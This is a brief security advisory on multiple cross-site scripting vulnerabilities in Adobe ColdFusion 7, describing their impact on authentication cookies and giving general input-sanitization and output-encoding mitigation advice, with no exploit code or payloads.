Multiple Cross-Site Scripting Vulnerabilities in Adobe ColdFusion

The vulnerabilities allow attackers to execute arbitrary script code in the context of the affected website, potentially leading to the theft of cookie-based authentication credentials and other attacks.

Mitigation:

Ensure that user-supplied data is properly sanitized and validated before being used in the application. Implement input validation and output encoding to prevent XSS attacks.

Adobe ColdFusion is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adobe ColdFusion 7 is vulnerable; other versions may also be affected.
